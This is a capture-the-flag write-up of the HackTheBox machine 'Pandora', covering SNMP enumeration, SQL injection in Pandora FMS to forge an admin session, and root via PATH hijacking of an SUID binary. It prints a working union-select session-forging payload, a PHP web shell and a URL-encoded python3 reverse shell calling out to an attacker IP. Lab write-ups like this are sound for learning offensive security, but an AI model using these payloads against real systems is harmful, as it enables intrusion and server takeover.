CTF-Writeups/HackTheBox/Pandora.md
2022-05-21 22:01:49 +05:00

252 lines
8.8 KiB
Markdown

# HackTheBox-Pandora
## NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 115E49F9A03BB97DEB840A3FE185434C
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## PORT 80 (HTTP)
Visting the web page it seems like a template
<img src="https://i.imgur.com/Ypkc02a.png"/>
And doesn't display anything interesting , running `gobuster` to fuzz for files and directories
<img src="https://i.imgur.com/cEyrmTB.png"/>
It doesn't find anything as well , so I thought of doing a subdomain enumeration using `wfuzz` but that failed as well
<img src="https://i.imgur.com/Tl4S04t.png"/>
So the web application didn't had anything interesting so I starting to scan for udp port and found `snmp` service to be running
<img src="https://i.imgur.com/7eHFH35.png"/>
## Foothold
To enumerate snmp service there's a tool called `snmp-walk` so we can enumerate the running process ,interface and operating system through that
<img src="https://i.imgur.com/dkaO3eY.png"/>
Keeping this tool running ,after 30 minutes I saw a process with credentials being passed on
<img src="https://i.imgur.com/bFEjymj.png"/>
<img src="https://i.imgur.com/Xkb4dmd.png"/>
Checking the apache2 vhosts file we can see that there's a subdomain `pandora.panda.htb` and it's being ran as user `matt` but only on localhost so we need to do portforwarding in order to access it through our browser
<img src="https://i.imgur.com/v8Tpn8z.png"/>
```bash
ssh -L 2222:127.0.0.1:80 daniel@panda.htb
```
<img src="https://i.imgur.com/WhEuvNU.png"/>
Also to add domain names to /etc/hosts file
<img src="https://i.imgur.com/GMHIulL.png"/>
Navigating to that port through browser will present us a login page for `Pandora`
<img src="https://i.imgur.com/KLEMHur.png"/>
Going back to pandora's directory we can read some files out which there's a file named `pandoradb_data.sql` which has some queries , we see a query for `admin` user having his password hash
<img src="https://i.imgur.com/fjLXbfj.png"/>
So trying to login with daniel on pnadora we get an error that we are only allowed to use api
<img src="https://i.imgur.com/biHvgT2.png"/>
Looking at the documention of api , we can use operations to get some data from pandora
https://pandorafms.com/manual/en/documentation/08_technical_reference/02_annex_externalapi
```bash
http://127.0.0.1:2222/pandora_console/include/api.php?op=get&op2=list_all_user&return_type=json&other=1&other_mode=url_encodeseparator|&apipass=1234&user=daniel&pass=HotelBabylon23
```
<img src="https://i.imgur.com/0q6uIxQ.png"/>
We can see that daniel is only allowed to read data from opearations , we can also get password hashes of users but those were not crackable
```bash
http://127.0.0.1:2222/pandora_console/include/api.php?op=get&op2=users&return_type=json&other=1&other_mode=url_encodeseparator|&apipass=1234&user=daniel&pass=HotelBabylon23
```
<img src="https://i.imgur.com/KVO8h0v.png"/>
Looking for exploits I found remote code execution but that requires us to be authenticated and be an admin user
<img src="https://i.imgur.com/oUV7xHW.png"/>
The second exploit was related to sqli in`/include/chart_generator.php?session_id='`
<img src="https://i.imgur.com/7Ypb5tV.png"/>
We can verify that there's a sqli by breaking the query with `'`
<img src="https://i.imgur.com/1Zlznh8.png"/>
Now to check how many columns are there we can use `ORDER BY`
<img src="https://i.imgur.com/ySUYSqb.png"/>
It doesn't give any mysql errors so we are good ,let's increase a number
<img src="https://i.imgur.com/EFDGw8S.png"/>
<img src="https://i.imgur.com/gRSBwMT.png"/>
<img src="https://i.imgur.com/t2o2s10.png"/>
And it gives an error when try to sort table by the fourth column which doesn't exists and it gives an sql error so there are 3 columns in the table from which it's fetching the data
## Rabbit Hole
so let's using `sqlmap` to dump data , we can either just directly supply the url or save the request through burp , I find saving the request convenient for me so I'll go with that
<img src="https://i.imgur.com/Vx247rS.png"/>
And it's going to start dumping the database
<img src="https://i.imgur.com/Xqkr0Lq.png"/>
Now here what we have fallen into a rabbit hole , by dumping the database we can find session id for users on pandora fms but those are only for matt and daniel , daniel only has access to api and matt is just a normal user
<img src="https://i.imgur.com/Y8w30L4.png"/>
In `PHPSESSSION` replace the session
<img src="https://i.imgur.com/Z3j2ciT.png"/>
<img src="https://i.imgur.com/nqfPgye.png"/>
But we can't really do much being matt user
<img src="https://i.imgur.com/CZGEU2Z.png"/>
## Privilege Escalation (Matt)
So going back to the url which was vulnerable to sqli we can elevate our privilegs to become admin user by following this article
https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained
<img src="https://i.imgur.com/KrpA7rY.png"/>
Checking the columns of the table that what values it expects , we can look in the `pandoradb.sql` file that `tsession_php` has three columns
<img src="https://i.imgur.com/kqaOfig.png"/>
Our sqli payload would look like this
```sql
union+select+'randomshit_token','1638796349','id_usuario|s:5:"admin";'+--+
```
it's using select statement to allow a phpsesssion to be created against the admin user with the token we provided ,it could be anything
<img src="https://i.imgur.com/6HZ29jk.png"/>
Running this it doesn't show any errors which means it got executed correctly and now replacing the PHPSESSION with our token
<img src="https://i.imgur.com/pQGOky6.png"/>
We are now logged in as admin user now all that is left is to use the rce exploit, I tried the exploit from exploit-db but it didn't worked
Then saw a php file upload exploit from a youtube video
<img src="https://i.imgur.com/gViN9jj.png"/>
<img src="https://i.imgur.com/tj7cght.png"/>
So we can make a php file which will allow us to execute comamnds and make a zip archive of that php as we need to upload that as an extension
```php
<?php system($_GET['cmd']); ?>
```
<img src="https://i.imgur.com/H1lhKet.png"/>
Then upload the archive file having the php file
<img src="https://i.imgur.com/JKzbAY3.png"/>
<img src="https://i.imgur.com/20h7CaH.png"/>
After uploading the file , execute the file through `http://127.0.0.1:2222/pandora_console/extensions/shell.php`
<img src="https://i.imgur.com/OluufnP.png"/>
<img src="https://i.imgur.com/Jcs8MbI.png"/>
We can get a reverse shell through `python3`
```python
python3%20-c%20%27import%20socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.17%22,3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%22/bin/sh%22)%27
```
<img src="https://i.imgur.com/E3V1OOY.png"/>
Stabilizing the shell with python3
<img src="https://i.imgur.com/qgZzikg.png"/>
## Privilege Escalation (root)
Let's try to see if we have any privileges to run something as a root user `sudo -l` but it gives an error.
<img src="https://i.imgur.com/y4tgbT9.png"/>
So this can be fixed by generating pair of ssh keys and logging.
<img src="https://i.imgur.com/ZZsQQQS.png"/>
But it seems we can't run anything as a root user ,so moving on for fidining SUID binaries
<img src="https://i.imgur.com/n01k5e2.png"/>
This binary seems suspicious as this isn't available by default, transferring the `pandora_backup` binary we can see that it's using `tar` to create an archive from `/var/www/pandora/pandora_console/*` in `/root/.backup` and the archive name `pandora-backup.tar.gz`
<img src="https://i.imgur.com/KrJ5QJ1.png"/>
So this is vulnerable to PATH variable exploit , we can create a file named `tar` which will make `bash` a SUID binary and making it executable
<img src="https://i.imgur.com/tPlCpU2.png"/>
Then exporting the PATH variable
```bash
export PATH=/tmp:$PATH
```
As we run the binary it will make bash a SUID
<img src="https://i.imgur.com/hFtNd8u.png"/>
<img src="https://i.imgur.com/vizMA4B.png"/>
## References
- https://book.hacktricks.xyz/pentesting/pentesting-snmp
- https://vuldb.com/?id.174621
- https://pandorafms.com/manual/en/documentation/08_technical_reference/02_annex_externalapi
- https://www.exploit-db.com/exploits/48280
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32099
- https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained
- https://www.youtube.com/watch?v=rJXusinFPw4
- https://k4m1ll0.com/cve-2020-8500.html